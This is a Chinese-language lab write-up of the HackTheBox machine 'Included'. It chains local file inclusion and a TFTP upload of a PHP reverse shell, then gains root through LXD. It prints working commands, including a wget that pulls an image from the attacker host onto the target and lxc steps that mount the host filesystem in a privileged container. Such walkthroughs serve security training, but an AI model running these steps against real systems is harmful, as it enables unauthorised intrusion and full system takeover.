文章声明

安全文章技术仅供参考,此文所提供的信息为漏洞靶场进行渗透,未经授权请勿利用文章中的技术资料对任何计算机系统进行入侵操作。

本文所提供的工具仅用于学习,禁止用于其他,未经授权,严禁转载,如需转载私信联系。

文章简介

本文主要记录从本地文件包含漏洞到获取root权限的过程。

涉及知识

1. 本地文件包含漏洞(LFI)
2. TFTP文件上传
3. LXD提权

靶场环境

1. Hackthebox靶场Included

2. 靶机: Linux操作系统 IP:10.129.95.185

3. 攻击机:连接VPN后的IP:10.10.14.15

演示过程

首先,我使用nmap进行端口收集:

nmap -sV -sC -sT -v 10.129.95.185 -Pn

(假如这里有张图)

发现只有80端口开启,访问如下:

惊奇地发现url地址的传值参数为"?file=/home.php",由于靶场是linux操作系统,我们尝试查看文件/etc/passwd,内容显示如下:

(这样查看有些混乱,我们用curl看一下)

到这一步就是一个简单的任意文件读取漏洞,接下来我们通过读取到的内容getshell。

发现tftp用户,敏锐地查询了TFTP协议,如下:

TFTP(Trivial File Transfer Protocol),简单文件传输协议,TFTP使用UDP协议,TFTP不具备通常的FTP的许多功能,它只能从文件服务器上获得或写入文件,没有列出目录的功能,也不能对用户进行身份鉴别,它传输8位数据。

根据查到的tftp特性,这次使用nmap进行UDP端口扫描:

通过TFTP工具直接连接服务器,并上传反弹shell:

上传木马:

通过任意文件读取可以得知绝对路径为/var/lib/tftpboot

通过文件包含漏洞触发木马(访问http://10.129.95.185/?file=/var/lib/tftpboot/shell.php),反弹shell成功。

查看id,发现权限比较低,继续进行信息收集进而提升权限。

在/var/www/html路径下信息收集获取到mike用户名和密码:

切换用户mike获取到用户权限Flag,同时注意到存在的用户组在lxd组(当用户具有lxd权限时,可以通过创建任意镜像,并将当前系统根目录挂载到镜像mnt目录下,然后通过chroot命令即可获取当前系统的root权限):

接下来进行lxd提权,操作如下:

攻击机:

1.下载lxd镜像生成器

git clone  https://github.com/saghul/lxd-alpine-builder.git

2.构建镜像

cd lxd-alpine-builder  
sudo ./build-alpine

3.开启HTTP服务,下载到靶机上

python3 -m  http.server 8082 -b 0.0.0.0

靶机:

1. 下载攻击机上的alpine-v3.13-x86_64-20210218_0139.tar.gz
wget http://10.10.14.15:8082/alpine-v3.13-x86_64-20210218_0139.tar.gz

2. 导入镜像并成功提权

#导入镜像
lxc image import ./alpine-v3.13-x86_64-20210218_0139.tar.gz` --alias test

#初始化镜像
lxc init test test -c security.privileged=true

#挂载磁盘
lxc config device add test test disk source=/ path=/mnt/root recursive=true

#启动镜像
lxc start test

lxc exec test /bin/sh

如果报错就先lxd初始化后在执行上面的操作

lxd init    # 一路回车

获取flag

cat /mnt/root/

组合拳 | 本地文件包含漏洞+TFTP=Getshell的更多相关文章

  1. 易酷 cms2.5 本地文件包含漏洞 getshell

    易酷 cms2.5  本地文件包含漏洞 getshell 首先下载源码安装(http://127.0.0.1/test/ekucms2.5/install.php) 安装成功直接进行复现吧 本地包含一 ...

  2. phpMyAdmin 4.8.x 本地文件包含漏洞利用

    phpMyAdmin 4.8.x 本地文件包含漏洞利用 今天ChaMd5安全团队公开了一个phpMyAdmin最新版中的本地文件包含漏洞:phpmyadmin4.8.1后台getshell.该漏洞利用 ...

  3. phpMyAdmin本地文件包含漏洞

    4 phpMyAdmin本地文件包含漏洞 4.1 摘要 4.1.1 漏洞简介 phpMyAdmin是一个web端通用MySQL管理工具,上述版本在/libraries/gis/pma_gis_fact ...

  4. Nagios Looking Glass 本地文件包含漏洞

    漏洞名称: Nagios Looking Glass 本地文件包含漏洞 CNNVD编号: CNNVD-201310-682 发布时间: 2013-10-31 更新时间: 2013-10-31 危害等级 ...

  5. WP e-Commerce WordPress Payment Gateways Caller插件本地文件包含漏洞

    漏洞名称: WP e-Commerce WordPress Payment Gateways Caller插件本地文件包含漏洞 CNNVD编号: CNNVD-201310-642 发布时间: 2013 ...

  6. 关于Discuz! X系列UC_Server 本地文件包含漏洞

    最近又发现discuz论坛被挂马了,决定好好研究一下discuz的漏洞,技术债始终要还是要还的 一.问题发现 快要睡觉的时候,突然收到一封邮件,发现服务器上的文件被篡改了,立即登录服务器,清空恶意文件 ...

  7. Elasticsearch 核心插件Kibana 本地文件包含漏洞分析(CVE-2018-17246)

    不久前Elasticsearch发布了最新安全公告, Elasticsearch Kibana 6.4.3之前版本和5.6.13之前版本中的Console插件存在严重的本地文件包含漏洞可导致拒绝服务攻 ...

  8. 易酷CMS2.5本地文件包含漏洞复现

    易酷CMS是一款影片播放CMS.该CMS2.5版本存在本地文件包含漏洞.我们可以利用这个漏洞,让其包含日志文件,然后再利用报错信息将一句话木马写入日志中.然后利用文件包含漏洞包含该日志文件,再用菜刀连 ...

  9. 本地文件包含漏洞(LFI漏洞)

    0x00 前言 本文的主要目的是分享在服务器遭受文件包含漏洞时,使用各种技术对Web服务器进行攻击的想法. 我们都知道LFI漏洞允许用户通过在URL中包括一个文件.在本文中,我使用了bWAPP和DVW ...

随机推荐

  1. 计算机网络再次整理————tcp的关闭[七]

    前言 tcp的关闭不是简单粗暴的,相对而言是友好优雅的,好聚好散吧. 那么友好的关闭方式是这样的: 假设这里是客户端请求关闭的,服务端倒过来. 客户端:我要请求关闭 服务端:我接收到你的请求了,等我把 ...

  2. Go 学习路线(2022)

    原文链接: Go 学习路线(2022) Go 语言的发展越来越好了,很多大厂使用 Go 作为主要开发语言,也有很多人开始学习 Go,准备转 Go 开发. 那么,怎么学呢? 我发现,在互联网时代,学习的 ...

  3. 关于diffing算法中key的使用

    在vue和react中(只学了这两个),经常需要渲染元素到DOM上,而且如果不写key,有的浏览器会进行报错或者进行提示. 在我的理解里:key其实就是一个身份的标识,证明这个位置坐的就是这个人.后期 ...

  4. 解决tomcat同时部署两个SpringBoot应用报异常InstanceAlreadyExistsException

    问题描述:Caused by: javax.management.InstanceAlreadyExistsException: com.alibaba.druid.pool:name=primary ...

  5. shell下快捷键

    ### 1.快捷键 ^C   终止前台运行的程序 ^D   退出 等价于exit ^L   清屏 ^A   光标移动到命令行的最前端 ^E   光标移动到命令行的最后端 ^U   删除光标前所有字符 ...

  6. Linux常用命令,面试常考

    Linux常用命令 网络工具 查看监听端口的进程: lsof -i :8080 或者 netstat -tupln|grep 8080 复制 软连接创建 ln -s 源文件 目标文件

  7. list和tuple的用法区别

    1.list中是可变的,tuple不可变  所以tuple没有insert, pop,append方法 2.定义只有一个元素的tuple的时候,必须加逗号,否则不会被认为是tuple,而被识别为括号 ...

  8. Nginx+Tomcat负载均衡、动静分离群集

    Nginx+Tomcat负载均衡.动静分离群集 目录 Nginx+Tomcat负载均衡.动静分离群集 一.Tomcat 1. Tomcat简介 2. Tomcat重要目录 二.Nginx负载均衡原理 ...

  9. 范数||x||(norm)笔记

    1. 范数的含义和定义 范数是具有"长度"概念的函数.在线性代数.泛函分析及相关领域,是一个函数,它为向量空间内的所有向量赋予非零的正的长度或大小.另一方面,半范数可以为非零的向量 ...

  10. Java四舍五入保留n位小数的常用写法

    1. 使用BigDecimal double v = 1.233; double res = new BigDecimal(v).setScale(2, RoundingMode.HALF_UP).d ...